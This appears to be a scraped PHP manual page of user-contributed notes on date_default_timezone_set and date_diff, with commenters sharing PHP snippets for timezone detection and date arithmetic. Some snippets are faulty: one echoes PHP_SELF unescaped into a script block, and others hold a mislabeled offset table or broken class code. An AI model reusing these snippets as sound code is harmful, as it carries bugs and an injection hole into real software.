I'm sure I'm not the only one who is distressed by the recent default behavior change to E_NOTICE when the timezone isn't explicitly set in the program or in .ini.  I insure that the clock on the server IS correct, and I don't want to have to set it in two places (the system AND PHP).  So I want to read it from the system.  But PHP won't accept that answer, and insists on a call to this function.  So, here's my answer:

<?php
 function setTimezone($default) {
    $timezone = "";

    // On many systems (Mac, for instance) "/etc/localtime" is a symlink
    // to the file with the timezone info
    if (is_link("/etc/localtime")) {

        // If it is, that file's name is actually the "Olsen" format timezone
        $filename = readlink("/etc/localtime");

        $pos = strpos($filename, "zoneinfo");
        if ($pos) {
            // When it is, it's in the "/usr/share/zoneinfo/" folder
            $timezone = substr($filename, $pos + strlen("zoneinfo/"));
        } else {
            // If not, bail
            $timezone = $default;
        }
    }
    else {
        // On other systems, like Ubuntu, there's file with the Olsen time
        // right inside it.
        $timezone = file_get_contents("/etc/timezone");
        if (!strlen($timezone)) {
            $timezone = $default;
        }
    }
    date_default_timezone_set($timezone);
 }
?>

Use it by calling it with a fallback default answer.

Yes, I know it doesn't work on Windows.  Neither do I :)  Perhaps someone wants to add that functionality.

Hope this helps someone.
Christopher Kramer 09-Mar-2013 09:39
Regarding my post 3 years before:
The performance impact seems to be caused by the fact that a log message is written if you do not set a timezone. And writing a log message to disk can take significantly longer than actually calculating date() or getdate() - esp. on systems with slow IO like the Windows machine I used 3 years ago.

PHP 4 did not produce any log messages, and therefore was as fast as PHP5 with a timezone set.

So if you run date() or getdate() a lot of times, this will cause a lot of log messages to be written to disk (if you did not disable them in your php.ini settings), which will take its time.

So either use this function or set the ini-setting "date.timezone" to make things faster.
(And have a look into your logfiles! Solving all those warnings will not only save you disk space but will also speed up your web application.)
Pierre Gourlaouen 06-Jul-2012 08:45
A simple method for conversation between two time zone.

<?php
$date = new DateTime("2012-07-05 16:43:21", new DateTimeZone('Europe/Paris'));

date_default_timezone_set('America/New_York');

echo date("Y-m-d h:iA", $date->format('U'));

// 2012-07-05 10:43AM
?>
daneiracleous at gmail dot com 28-Jan-2012 08:11
If you want to set the default timezone to the user's local timezone, you have to combine PHP and JavaScript. Here's how to do it:

<?php
session_start();
if(!isset($_SESSION['timezone']))
{
    if(!isset($_REQUEST['offset']))
    {
    ?>
    <script>
    var d = new Date()
    var offset= -d.getTimezoneOffset()/60;
    location.href = "<?php echo $_SERVER['PHP_SELF']; ?>?offset="+offset;
    </script>
    <?php
    }
    else
    {
        $zonelist = array('Kwajalein' => -12.00, 'Pacific/Midway' => -11.00, 'Pacific/Honolulu' => -10.00, 'America/Anchorage' => -9.00, 'America/Los_Angeles' => -8.00, 'America/Denver' => -7.00, 'America/Tegucigalpa' => -6.00, 'America/New_York' => -5.00, 'America/Caracas' => -4.30, 'America/Halifax' => -4.00, 'America/St_Johns' => -3.30, 'America/Argentina/Buenos_Aires' => -3.00, 'America/Sao_Paulo' => -3.00, 'Atlantic/South_Georgia' => -2.00, 'Atlantic/Azores' => -1.00, 'Europe/Dublin' => 0, 'Europe/Belgrade' => 1.00, 'Europe/Minsk' => 2.00, 'Asia/Kuwait' => 3.00, 'Asia/Tehran' => 3.30, 'Asia/Muscat' => 4.00, 'Asia/Yekaterinburg' => 5.00, 'Asia/Kolkata' => 5.30, 'Asia/Katmandu' => 5.45, 'Asia/Dhaka' => 6.00, 'Asia/Rangoon' => 6.30, 'Asia/Krasnoyarsk' => 7.00, 'Asia/Brunei' => 8.00, 'Asia/Seoul' => 9.00, 'Australia/Darwin' => 9.30, 'Australia/Canberra' => 10.00, 'Asia/Magadan' => 11.00, 'Pacific/Fiji' => 12.00, 'Pacific/Tongatapu' => 13.00);
        $index = array_keys($zonelist, $_REQUEST['offset']);
        $_SESSION['timezone'] = $index[0];
    }
}
date_default_timezone_set($_SESSION['timezone']);

//rest of your code goes here
?>
power2all at gmail dot com 01-Feb-2011 08:30
After poundering and knocking my head on the table, I finally got a proper fix for Windows and PHP timezone handling.

Since Windows applies the DST to ActiveTimeBias in the registry, you only need this to apply.
The only problem is, that it cant use the timezone_set command.

You can request a response back in any date-format you wish, or use the default one given in the function itself.

<?php

// Return proper time
function time_zone_fix($timeGiven = "H:i:s")
{
    $shell = new COM("WScript.Shell") or die("Requires Windows Scripting Host");
    $time_bias = -($shell->RegRead("HKEY_LOCAL_MACHINE\\SYSTEM\\
CurrentControlSet\\Control\\TimeZoneInformation\\
ActiveTimeBias")) / 60;
    $timestamp_bias = 60 * 60 * $time_bias;
    echo $time_bias . "<br />";
    return gmdate($timeGiven, strtotime($timestamp_bias . " seconds"));
}
?>
Anonymous 20-Nov-2010 01:58
People complaining that there's no way to set the offset - you are wrong. You can easily set the offset from GMT (see "Other" in available zones). And since all zones are offset from GMT it's just easy math with + or - to get that. So if you i.e. want the offset not from GMT but your timezone, then compute offset of your zone from GMT (say if you in Berlin its +1 now (mind summer time!)) and then offset for your target zone (i.e NYC is -5) then sum abs! of these values and set the sign of bigger (abs) value -> total offset from your european zone to NYC is then abs(-5)+abs(1) = 6 and set "-" as NYC zone absolute value is bigger. So whatever time is in Berlin, in NYC it's 6hrs earlier. But it's better to do two step calculation and calculate always from GMT
steve at pozzie dot net 11-Oct-2010 01:35
Most of the scripts here depend on PHP identifying the correct zone when one is not set, but that does not always happen.

For example PHP 5.3.3 gives a 'UTC' result for a detected '8.0/no DST'. Not much help.

So for those of us who for very good reasons really cannot set time zones in scripts of in .ini files, here is a function
for use in a Windows environment that sets the default time zone to the OS time zone and returns the detected and set texts.

<?php
function date_system_timezone_set(){
  $shell = new COM("WScript.Shell") or die("Requires Windows Scripting Host");
  $time_bias = -($shell->RegRead(
"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control
\\TimeZoneInformation\\Bias"))/60;
  $ab = -($shell->RegRead(
"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control
\\TimeZoneInformation\\ActiveTimeBias"))/60;
  $sc = $shell->RegRead(
"HKEY_USERS\\.DEFAULT\\Control Panel\\International\\sCountry");
  foreach(timezone_abbreviations_list() as $tza) foreach($tza as $entry){
    $country = strtok($entry['timezone_id'],'/');
    $locale = strtok('|');
    if($country==$sc && $ab==($entry['offset']/60/60) && ($ds = $time_bias!=$ab)==$entry['dst']){
      date_default_timezone_set($timezone_identifier = $country."/".$locale);
      return sprintf('%.1f',$ab)."/".($ds?'':'no ').'DST'." ".$timezone_identifier;
     }
   }
  return false;
 }
?>
Tom S 11-Sep-2010 06:22
This is a good script if you know or control your system so that you know that the local TZ in your OS is correct. Unfortunately, this script still creates an warning message under BSD UNIX.

To fix this, just add an "@" in front of "localtime" as:

$arr = @localtime($iTime);
Frederick Hathaway 04-Mar-2010 08:54
It's really a hassle that there is no way to set the timezone offset. I attempted to use the code that searched for the correct timezone name by offset from below. I found it didn't work reliably since various cities may have different rules about time DST etc. My solution is to actually search the array and do a test to insure the offset is what I expect it to be. It seems very kludgey (if thats a word) but it works.

<?php
function setTimezoneByOffset($offset)
    {
      $testTimestamp = time();
        date_default_timezone_set('UTC');
        $testLocaltime = localtime($testTimestamp,true);
        $testHour = $testLocaltime['tm_hour'];

    $abbrarray = timezone_abbreviations_list();
    foreach ($abbrarray as $abbr)
    {
        //echo $abbr."<br>";
      foreach ($abbr as $city)
      {
                date_default_timezone_set($city['timezone_id']);
                $testLocaltime     = localtime($testTimestamp,true);
                $hour                     = $testLocaltime['tm_hour'];
                $testOffset =  $hour - $testHour;
                if($testOffset == $offset)
                {
                    return true;
                }
      }
    }
    return false;
    }
?>
Christopher Kramer 09-Jan-2010 07:52
I experienced that using this function highly increases performance of functions like getdate() or date() using PHP 5.2.6 on Windows.
I experienced similar results on Linux servers with PHP 5.2.6 and 5.2.10, although the difference was not that significant on these servers: The PHP 5.2.10 server did run with date_default_timezone_set ("only") twice as fast as without. The 5.2.6 server did 5 times faster with date_default_timezone_set. As you can see below, the 5.2.6-Windows machine did a LOT faster.
Of course these machines have completely different hardware and can not really be compared, but all show improved performance.

I checked PHP 4.4.9 on Windows (without date_default_timezone_set of course) and noticed that its as fast as PHP 5.2.6 with date_default_timezone_set.

The following script shows this:

<?php

# uncomment to see difference
# date_default_timezone_set(date_default_timezone_get());

function getmicrotime()
 {
 list($usec, $sec) = explode(' ',microtime());
 return ($sec.substr($usec,1,7));
 }

$start=mktime(0,0,0,1,1,2005);
$end=mktime(0,0,0,1,1,2020);
$nr=50000;

$start_time=getmicrotime();
for($i=0;$i<$nr;$i++) {
# $value=getdate(rand($start,$end));
  date("H:i:s d.m.Y",rand($start,$end));
}
$end_time=getmicrotime();

echo "Time: ".($end_time-$start_time);

// With date_default_timezone_set(): "Time: 0.379343986511"
// Without date_default_timezone_set(): "Time: 7.4971370697"

?>

Note that the timezone is not changed, it is only set again. I really wonder why this makes such a big performance difference, but its good to know.
ted dot chou12 at gmail dot com 02-Dec-2008 11:13
Timezone using other approaches:
<?php $datetime = strtotime($originaldatetime) + $time;
$datetime = date('M d, Y h:i A', $datetime);?>

$time obtained from table below:
-25200|International Date Line (West) GMT-12|
-21600|Midway Island, Samoa GMT-11|
-18000|Hawaii, Honolulu GMT-10|
-14400|Alaska GMT-9|
-10800|Pacific Standard Time, US, Canada GMT-8|
-7200|British Columbia N.E., Santa Fe, Mountain Time GMT-7|
-3600|Central America, Chicago, Guatamala, Mexico City GMT-6|
0|US, Canada, Bogota, Boston, New York GMT-5|
+3600|Canada, Santiago, Atlantic Standard Time GMT-4|
+7200|Brazilia, Buenos Aires, Georgetown, Greenland GMT-3|
+10800|Mid-Atlantic GMT-2|
+14400|Azores, Cape Verde Is., Western Africa Time GMT-1|
+18000|London, Iceland, Ireland, Morocco, Portugal GMT|
+21600|Amsterdam, Berlin, Bern, Madrid, Paris, Rome, GMT+1|
+25200|Athens, Cairo, Cape Town, Finland, Greece, Israel GMT+2|
+28800|Ankara, Aden, Baghdad, Beruit, Kuwait, Moscow GMT+3|
+32400|Abu Dhabi, Baku, Kabul, Tehran, Tbilisi, Volgograd GMT+4|
+36000|Calcutta, Colombo, Islamabad, Madras, New Dehli GMT+5|
+39600|Almaty, Dhakar, Kathmandu, Colombo, Sri Lanka GMT+6|
+43200|Bangkok, Hanoi, Jakarta, Phnom Penh, Australia GMT+7|
+46800|Taipei, Beijing, Hong Kong, Singapore, GMT+8|
+50400|Seoul, Tokyo, Central Australia GMT+9|
+54000|Brisbane, Canberra, Guam, Melbourne, Sydney, GMT+10|
+57600|Magadan, New Caledonia, Solomon Is. GMT+11|
+61200|Auckland, Fiji, Kamchatka, Marshall, Wellington, GMT+12|
jason at jasonpriem dot com 11-Nov-2008 08:29
While it's easy to change timezones based on names or abbreviations, I haven't found any straightforward way of doing so using an offset integer.  This situation comes up if you're using AJAX to get information about a user's timezone; javascript's getTimezoneOffset() method just sends you an offset number. So, here's my clunky solution: an adaptation of chris' function at http://us.php.net/manual/en/function.timezone-name-from-abbr.php.

<?php
    function set_tz_by_offset($offset) {
        $offset = $offset*60*60;
        $abbrarray = timezone_abbreviations_list();
        foreach ($abbrarray as $abbr) {
            //echo $abbr."<br>";
                foreach ($abbr as $city) {
                    //echo $city['offset']." $offset<br>";
                        if ($city['offset'] == $offset) { // remember to multiply $offset by -1 if you're getting it from js
                               date_default_timezone_set($city['timezone_id']);
                               return true;
                        }
                }
        }
    date_default_timezone_set("ust");
       return false;
       }

set_tz_by_offset(-1);

?>

[EDIT BY thiago AT php DOT net: This code has contributions from iateadonut at gmail dot com]
Rob Kaper 15-Jul-2008 01:46
If you want users to choose their own timezones, here's some code that gets all available timezones but only uses one city for each possible value:

<?php

$timezones = DateTimeZone::listAbbreviations();

$cities = array();
foreach( $timezones as $key => $zones )
{
    foreach( $zones as $id => $zone )
    {
        /**
         * Only get timezones explicitely not part of "Others".
         * @see http://www.php.net/manual/en/timezones.others.php
         */
        if ( preg_match( '/^(America|Antartica|Arctic|Asia|Atlantic|Europe|Indian|Pacific)\//', $zone['timezone_id'] ) )
            $cities[$zone['timezone_id']][] = $key;
    }
}

// For each city, have a comma separated list of all possible timezones for that city.
foreach( $cities as $key => $value )
    $cities[$key] = join( ', ', $value);

// Only keep one city (the first and also most important) for each set of possibilities.
$cities = array_unique( $cities );

// Sort by area/city name.
ksort( $cities );

?>
PeerGoal.com 12-Feb-2007 04:21
The problem:

date() [function.date]: It is not safe to rely on the system's timezone settings. Please use the date.timezone setting, the TZ environment variable or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected 'America/Los_Angeles' for 'PST/-8.0/no DST' instead

Of course this is a problem that recently surfaced since PHP5. Quick fix is to set your time zone, add this line to your php code:

date_default_timezone_set("America/Los_Angeles");
davidn at datalinktech dot com dot au 21-Dec-2006 05:27
Note that there may be some unexpected side-effects that result from using either set_default_timezone() or the putenv("TZ=...") workalike for earlier PHP versions.  ANY date formatted and output either by PHP or its apache host process will be unconditionally expressed in that timezone.

[red. That is only true for the putenv() hack - Derick]

This does indeed include the web server's logs and other output files and reports which by default usually do not include any indication of timezone. This has a further side-effect on log processing and analysis, obviously.


DateTime::diff のエイリアス

  • ≪ date_default_timezone_set
  • date_format ≫
  • PHP Manual
  • 日付・時刻 関数
  • DateTime::diff のエイリアス

date_diff

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

date_diff — DateTime::diff() のエイリアス

説明

この関数は次の関数のエイリアスです。 DateTime::diff()

User Contributed Notes

contact-php at openflyers dot com 30-Apr-2020 08:02
<?php
/**
 * We suppose that PHP is configured in UTC
 * php.ini configuration:
 * [Date]
 * ; Defines the default timezone used by the date functions
 * ; http://php.net/date.timezone
 * date.timezone = UTC
 * @link http://php.net/date.timezone
 */

/**
 * getDaysBetween2Dates
 *
 * Return the difference of days between $date1 and $date2 ($date1 - $date2)
 * if $absolute parameter is false, the return value is negative if $date2 is after than $date1
 *
 * @param DateTime $date1
 * @param DateTime $date2
 * @param Boolean $absolute
 *            = true
 * @return integer
 */
function getDaysBetween2Dates(DateTime $date1, DateTime $date2, $absolute = true)
{
    $interval = $date2->diff($date1);
    // if we have to take in account the relative position (!$absolute) and the relative position is negative,
    // we return negatif value otherwise, we return the absolute value
    return (!$absolute and $interval->invert) ? - $interval->days : $interval->days;
}

echo '<h3>2020-03-01 - 2020-02-01: 29 days as it\'s a standard leap year</h3>';
echo getDaysBetween2Dates(new DateTime("2020-03-01"), new DateTime("2020-02-01"), false);

echo '<h3>1900-03-01 - 1900-02-01: 28 days as it\'s a "standard" century</h3>';
echo getDaysBetween2Dates(new DateTime("1900-03-01"), new DateTime("1900-02-01"), false);

echo '<h3>2000-03-01 - 2000-02-01: 29 days as it\'s a century multiple of 400: 2000=400x5</h3>';
echo getDaysBetween2Dates(new DateTime("2000-03-01"), new DateTime("2000-02-01"), false);

echo '<h3>2020-03-01 - 2020-04-01: -28 days as 2020-03-01 is before 2020-04-01</h3>';
echo getDaysBetween2Dates(new DateTime("2020-02-01"), new DateTime("2020-03-01"), false);
?>
paez903 at hotmail dot com 24-Jul-2017 04:44
I do not have much programming in php and I hope I can help those that I want to do is that when entering in the form the date 1 and the date2 I calculate if between those two dates if they have passed 5 or more years and I add 3 more days taking As reference date 2, I do not know if I understand.

To see a theoretical example date = 10/01/2012 date2 = 23/07/2017

Between these two dates have passed 5 years, 6 months, and 13 days elapsed

Knowing this my serious conditional

If they are equal or more than 5 years but less than 10 years will be added 3 days
If they are equal or more than 10 years but less than 15 years will be added 6 days
If they are equal or more than 15 years but less than 20 years will be added 9 days
If they are equal to or more than 20 years will be added 12 days

Then having the conditionals

For this example would be case as it is greater than 5 years the result that I should show taking in days, having as date of departure the date2 = 23/07/2017 and to this date it is added 30 days that would be a constant and depending on the Years as the example happens 5 years would be: date2 = 23/07/2017 + 30 days = 08/30/2017 + 3 days
= End date to show = result = 02/09/2017.

But I still think how to do it if you can guide me I would appreciate a world, and everything should show without pressing buttons, if I press a button would be like to store in the database only the results otenidos as date1 date2 and result

<? Php

// $ date1 = $ _ POST ["date1"]; // this will be the first date or date of entry
// $ date2 = $ _ POST ["date2"]; // this will be the date with which you will calculate

// $ difference = $ date2 - $ date1;

// if ($ difference <= 5)
{
    // echo "number of days that correspond to it [". $ Date2 + 30 + 3. "].";

//} else {

// ($ difference <= 5)

{
// echo "number of days corresponding to it [" $ date2 + 30 "].";

}

 ?>
aleksandar at gvozden dot info 02-Dec-2016 04:20
diff from datetime

    /**
     * diff from datetime
     * @param datetime $dt1
     * @param datetime $dt2
     * @return object $dtd (day, hour, min, sec / total)
     */
    static function datetimeDiff($dt1, $dt2){
        $t1 = strtotime($dt1);
        $t2 = strtotime($dt2);

        $dtd = new stdClass();
        $dtd->interval = $t2 - $t1;
        $dtd->total_sec = abs($t2-$t1);
        $dtd->total_min = floor($dtd->total_sec/60);
        $dtd->total_hour = floor($dtd->total_min/60);
        $dtd->total_day = floor($dtd->total_hour/24);

        $dtd->day = $dtd->total_day;
        $dtd->hour = $dtd->total_hour -($dtd->total_day*24);
        $dtd->min = $dtd->total_min -($dtd->total_hour*60);
        $dtd->sec = $dtd->total_sec -($dtd->total_min*60);
        return $dtd;
    }
vladimir-nt at mail dot ru 13-Oct-2015 12:11
My simple function to count up the number of weekdays between the dates (inclusive for both ends), one can add a holidays between the dates to take them into account as well as the weekends, the weekend days could also be changed.

function count_week_days($__date_from, $__date_to, $__holidays_between=array(), $__weekend_days=array(5,6)) {
   $total_days_count = $__date_to > $__date_from ? round(($__date_to - $__date_from)/(24*3600)) : 0;
   $full_weeks_count = floor($total_days_count/7);
   $weekend_days_count = $full_weeks_count*count($__weekend_days);
   $days_left_uncovered = $total_days_count - $full_weeks_count*7;
   for($i = 0; $i < $days_left_uncovered; $i++) {
      $date_to_check = $i ? strtotime("+{$i} day", $__date_from) : $__date_from;
      if(in_array(date('N', $date_to_check), $__weekend_days)) {
         $weekend_days_count++;
      }
   }
   $week_days_count = $total_days_count - $weekend_days_count - count($__holidays_between);
   return $week_days_count;
}

Tests:
print "\n 12.10.2015 to 10.10.2015 diff=".count_week_days(strtotime('12.10.2015'), strtotime('10.10.2015'));
print "\n 12.10.2015 to 13.10.2015 diff=".count_week_days(strtotime('12.10.2015'), strtotime('13.10.2015'));
print "\n 12.10.2015 to 15.10.2015 diff=".count_week_days(strtotime('12.10.2015'), strtotime('26.10.2015'));
print "\n 12.10.2015 to 13.10.2015 diff=".count_week_days(strtotime('12.10.2015'), strtotime('13.10.2016'));
print "\n 12.10.2015 to 13.10.2015 diff=".count_week_days(strtotime('12.10.2015'), strtotime('12.11.2015'));
print "\n 12.10.2015 to 13.10.2015 diff=".count_week_days(strtotime('12.10.2015'), strtotime('12.11.2015'), array(strtotime('07.11.2015')));

Results:
 12.10.2015 to 10.10.2015 diff=0
 12.10.2015 to 13.10.2015 diff=1
 12.10.2015 to 15.10.2015 diff=10
 12.10.2015 to 13.10.2015 diff=263
 12.10.2015 to 13.10.2015 diff=23
 12.10.2015 to 13.10.2015 diff=22
tuxedobob 23-Jul-2015 04:32
Even the top rated comment here, Sergio Abreu's, doesn't treat leap years entirely correctly. It should work between 1901 and 2099, but outside that it'll be a little off.

If you want to find out the number of days between two dates, use below. You can change to a different unit from that. It looks a little insane, but keep in mind the full set of rules for leap years:

If the year is divisible by 4, it's a leap year...
 - unless the year is divisible by 100, then it isn't...
 - - unless the year is divisible by 400, then it really is.

So in the functions below, we find the total numbers of days in full years since the mythical 1/1/0001, then add the number of days before the current one in the year passed. Do this for each date, then return the absolute value of the difference.

function days_diff($d1, $d2) {
    $x1 = days($d1);
    $x2 = days($d2);

    if ($x1 && $x2) {
        return abs($x1 - $x2);
    }
}

function days($x) {
    if (get_class($x) != 'DateTime') {
        return false;
    }

    $y = $x->format('Y') - 1;
    $days = $y * 365;
    $z = (int)($y / 4);
    $days += $z;
    $z = (int)($y / 100);
    $days -= $z;
    $z = (int)($y / 400);
    $days += $z;
    $days += $x->format('z');

    return $days;
}
Azuro 01-Apr-2015 10:12
I had to find the difference between two days (here is my solution without Date_diff()) :

$current_date = date("U") /* to have it in microseconds */
$selected_date_stamp = mktime(0,0,0,$your_month,$your_day,$your_year);
$selected_date = date("U",$selected_date_stamp);
$difference = round (($current_date - $selected_date)/(3600*24));
echo "The difference is :" . $difference . "<br/>";
maniarpratik at gmail dot com 30-Jan-2015 12:09
This function will return count of sunday between inputed dates.

<?php
function CountSunday($from,$to)
{

$from=date('d-m-Y',strtotime($from));
$to=date('d-m-Y',strtotime($to));
$cnt=0;
$nodays=(strtotime($to) - strtotime($from))/ (60 * 60 * 24); //it will count no. of days
$nodays=$nodays+1;
           for($i=0;$i<$nodays;$i++)
            {
                $p=0;
            list($d, $m, $y) = explode("-",$from);
            $datetime = strtotime("$d-$m-$y");
            $nextday = date('d-m-Y',strtotime("+1 day", $datetime));  //this will add one day in from date (from date + 1)
            if($i==0)
                $p=date('w',strtotime($from));
            else
                $p=date('w',strtotime($nextday));

            if($p==0)            // check whethere value is 0 then its sunday
                $cnt++;                                //count variable of sunday
             $from=$nextday;
             $p++;
            }
  return $cnt;
}
?>
qrworld.net 02-Dec-2014 02:32
Here you have in this post http://softontherocks.blogspot.com/2014/12/calcular-la-edad-con-php.html the code to get the age of a person specifying the date of birth:

function getAge($birthdate){
    $adjust = (date("md") >= date("md", strtotime($birthdate))) ? 0 : -1; // Si aun no hemos llegado al dia y mes en este ano restamos 1
    $years = date("Y") - date("Y", strtotime($birthdate)); // Calculamos el numero de anos
    return $years + $adjust; // Sumamos la diferencia de anos mas el ajuste
}
jesushuertaarrabal at gmail dot com 03-Oct-2014 12:48
A way to verify a correct date getting your age

if (isset($_POST['birthday'])){
     if (preg_match("/^[0-9]{4}-[0-1][0-9]-[0-3][0-9]$/",$_POST['birthday'])){
          $items = explode("-", $_POST['birthday']);
           if (checkdate($items[1], $items[2], $items[0])){ //checkdate(m-d-y)
               //If you were born in a lip-year or lip - 1, then we have to add 5 days, else, we add 4 days
                if ((0 == $items[0] % 4) && (0 != $items[0] % 100) || (0 == $items[0] % 400))
                 $bis = 4;
                else
                 $bis = 5;
            if (date_diff(date_create($_POST['birthday']) , date_create(date('Y-m-d')))->format("%R%a days") > (6569 + $bis)) //365*18
                 $print .= 'Birthday date: ' . $_POST['birthday'] . '<br>';
            else
                 $error[] = -1;
           }else
                $error[] = -2;
      }else
           $error[] = -3;
     }else
    $error[] = -4;
}
SunilKmCharde 21-May-2014 08:07
Powerful Function to get two date difference.

//////////////////////////////////////////////////////////////////////
//PARA: Date Should In YYYY-MM-DD Format
//RESULT FORMAT:
// '%y Year %m Month %d Day %h Hours %i Minute %s Seconds'        =>  1 Year 3 Month 14 Day 11 Hours 49 Minute 36 Seconds
// '%y Year %m Month %d Day'                                    =>  1 Year 3 Month 14 Days
// '%m Month %d Day'                                            =>  3 Month 14 Day
// '%d Day %h Hours'                                            =>  14 Day 11 Hours
// '%d Day'                                                        =>  14 Days
// '%h Hours %i Minute %s Seconds'                                =>  11 Hours 49 Minute 36 Seconds
// '%i Minute %s Seconds'                                        =>  49 Minute 36 Seconds
// '%h Hours                                                    =>  11 Hours
// '%a Days                                                        =>  468 Days
//////////////////////////////////////////////////////////////////////
function dateDifference($date_1 , $date_2 , $differenceFormat = '%a' )
{
    $datetime1 = date_create($date_1);
    $datetime2 = date_create($date_2);

    $interval = date_diff($datetime1, $datetime2);

    return $interval->format($differenceFormat);

}
Chiheb Nabil 09-Feb-2013 02:01
here a little solution of problem of missing date_diff function with php versions below 5.3.0

<?php
function IntervalDays($CheckIn,$CheckOut){
$CheckInX = explode("-", $CheckIn);
$CheckOutX =  explode("-", $CheckOut);
$date1 =  mktime(0, 0, 0, $CheckInX[1],$CheckInX[2],$CheckInX[0]);
$date2 =  mktime(0, 0, 0, $CheckOutX[1],$CheckOutX[2],$CheckOutX[0]);
 $interval =($date2 - $date1)/(3600*24);

// returns numberofdays
return  $interval ;

}
?>
programacion at mundosica dot com 17-Apr-2012 10:36
Other data_diff aviable for php5.3>=

<?php
// Author: el pinche <fitorec>

function otherDiffDate($end='2020-06-09 10:30:00', $out_in_array=false){
        $intervalo = date_diff(date_create(), date_create($end));
        $out = $intervalo->format("Years:%Y,Months:%M,Days:%d,Hours:%H,Minutes:%i,Seconds:%s");
        if(!$out_in_array)
            return $out;
        $a_out = array();
        array_walk(explode(',',$out),
        function($val,$key) use(&$a_out){
            $v=explode(':',$val);
            $a_out[$v[0]] = $v[1];
        });
        return $a_out;
}
?>

#example 1
<?php
echo otherDiffDate();
?>
out1
       Years:08,Months:01,Days:22,Hours:17,Minutes:5,Seconds:26

example2
<?php
print_r(otherDiffDate('2020-01-01 20:30:00',true));
?>
out2
Array
(
    [Years] => 07
    [Months] => 08
    [Days] => 15
    [Hours] => 03
    [Minutes] => 3
    [Seconds] => 48
)
Toine (contact at toine dot pro) 26-Aug-2011 07:22
This is a very simple function to calculate the difference between two timestamp values.
<?php
function diff($start,$end = false) {
    /*
    * For this function, i have used the native functions of PHP. It calculates the difference between two timestamp.
    *
    * Author: Toine
    *
    * I provide more details and more function on my website
    */

    // Checks $start and $end format (timestamp only for more simplicity and portability)
    if(!$end) { $end = time(); }
    if(!is_numeric($start) || !is_numeric($end)) { return false; }
    // Convert $start and $end into EN format (ISO 8601)
    $start  = date('Y-m-d H:i:s',$start);
    $end    = date('Y-m-d H:i:s',$end);
    $d_start    = new DateTime($start);
    $d_end      = new DateTime($end);
    $diff = $d_start->diff($d_end);
    // return all data
    $this->year    = $diff->format('%y');
    $this->month    = $diff->format('%m');
    $this->day      = $diff->format('%d');
    $this->hour     = $diff->format('%h');
    $this->min      = $diff->format('%i');
    $this->sec      = $diff->format('%s');
    return true;
}

/*
 * How use it?
 *
 * Call your php class (myClass for this example) and use the function :
*/
$start  = strtotime('1985/02/09 13:54:17');
$end    = strtotime('2012/12/12 17:30:21');
$myClass = new myClass();
$myClass->Diff($start,$end);
// Display result
echo 'Year: '.$myClass->Year;
echo '<br />Month: '.$myClass->Month;
echo '<br />Day: '.$myClass->Day;
echo '<br />Hour: '.$myClass->Hour;
echo '<br />Min: '.$myClass->Min;
echo '<br />Sec: '.$myClass->Sec;
// Display only month for all duration
$month = ($myClass->Year * 12) + $myClass->Month;
echo '<br />Total month: '.$month;
// if you want you can use this function without $end value :
$myClass->Diff($start);
// Automatically the end is the current timestamp
?>
vglebov at gmail dot com 25-May-2011 11:59
Get the difference between the dates without days off

<?php
function get_date_diff($date1, $date2) {
  $holidays = 0;
  for ($day = $date2; $day < $date1; $day += 24 * 3600) {
    $day_of_week = date('N', $day);
    if($day_of_week > 5) {
      $holidays++;
    }
  }
  return $date1 - $date2 - $holidays * 24 * 3600;
}

function test_get_date_diff()
{
  $datas = array(
    array('Fri 20 May 2011 14:00:00', 'Fri 20 May 2011 13:00:00', 1 * 3600),
    array('Sat 21 May 2011 15:00:00', 'Fri 20 May 2011 13:00:00', 2 * 3600),
    array('Sun 22 May 2011 16:00:00', 'Fri 20 May 2011 13:00:00', 3 * 3600),
    array('Mon 23 May 2011 14:00:00', 'Fri 20 May 2011 13:00:00', 25 * 3600),
    array('Fri 27 May 2011 13:00:00', 'Fri 13 May 2011 13:00:00', 24 * 10 * 3600),
  );
  foreach ($datas as &$data) {
    $actual = get_date_diff(strtotime($data[0]), strtotime($data[1]));
    if ($actual != $data[2]) {
      echo "Test for get_date_diff faled expected {$data[2]} but was {$actual}, date1: {$data[0]}, date2: {$data[1]}.<br>";
    }
  }
}
test_get_date_diff($data);
?>
kshegunov at gmail dot com 10-Jan-2011 09:26
Here is how I solved the problem of missing date_diff function with php versions below 5.3.0
The function accepts two dates in string format (recognized by strtotime() hopefully), and returns the date difference in an array with the years as first element, respectively months as second, and days as last element.
It should be working in all cases, and seems to behave properly when moving through February.

<?php
        function dateDifference($startDate, $endDate)
        {
            $startDate = strtotime($startDate);
            $endDate = strtotime($endDate);
            if ($startDate === false || $startDate < 0 || $endDate === false || $endDate < 0 || $startDate > $endDate)
                return false;

            $years = date('Y', $endDate) - date('Y', $startDate);

            $endMonth = date('m', $endDate);
            $startMonth = date('m', $startDate);

            // Calculate months
            $months = $endMonth - $startMonth;
            if ($months <= 0)  {
                $months += 12;
                $years--;
            }
            if ($years < 0)
                return false;

            // Calculate the days
                        $offsets = array();
                        if ($years > 0)
                            $offsets[] = $years . (($years == 1) ? ' year' : ' years');
                        if ($months > 0)
                            $offsets[] = $months . (($months == 1) ? ' month' : ' months');
                        $offsets = count($offsets) > 0 ? '+' . implode(' ', $offsets) : 'now';

                        $days = $endDate - strtotime($offsets, $startDate);
                        $days = date('z', $days);

            return array($years, $months, $days);
        }
?>
Sergio Abreu 26-Jun-2010 07:22
<?php
/*
 * A mathematical decimal difference between two informed dates
 *
 * Author: Sergio Abreu
 * Website: http://sites.sitesbr.net
 *
 * Features:
 * Automatic conversion on dates informed as string.
 * Possibility of absolute values (always +) or relative (-/+)
*/

function s_datediff( $str_interval, $dt_menor, $dt_maior, $relative=false){

       if( is_string( $dt_menor)) $dt_menor = date_create( $dt_menor);
       if( is_string( $dt_maior)) $dt_maior = date_create( $dt_maior);

       $diff = date_diff( $dt_menor, $dt_maior, ! $relative);

       switch( $str_interval){
           case "y":
               $total = $diff->y + $diff->m / 12 + $diff->d / 365.25; break;
           case "m":
               $total= $diff->y * 12 + $diff->m + $diff->d/30 + $diff->h / 24;
               break;
           case "d":
               $total = $diff->y * 365.25 + $diff->m * 30 + $diff->d + $diff->h/24 + $diff->i / 60;
               break;
           case "h":
               $total = ($diff->y * 365.25 + $diff->m * 30 + $diff->d) * 24 + $diff->h + $diff->i/60;
               break;
           case "i":
               $total = (($diff->y * 365.25 + $diff->m * 30 + $diff->d) * 24 + $diff->h) * 60 + $diff->i + $diff->s/60;
               break;
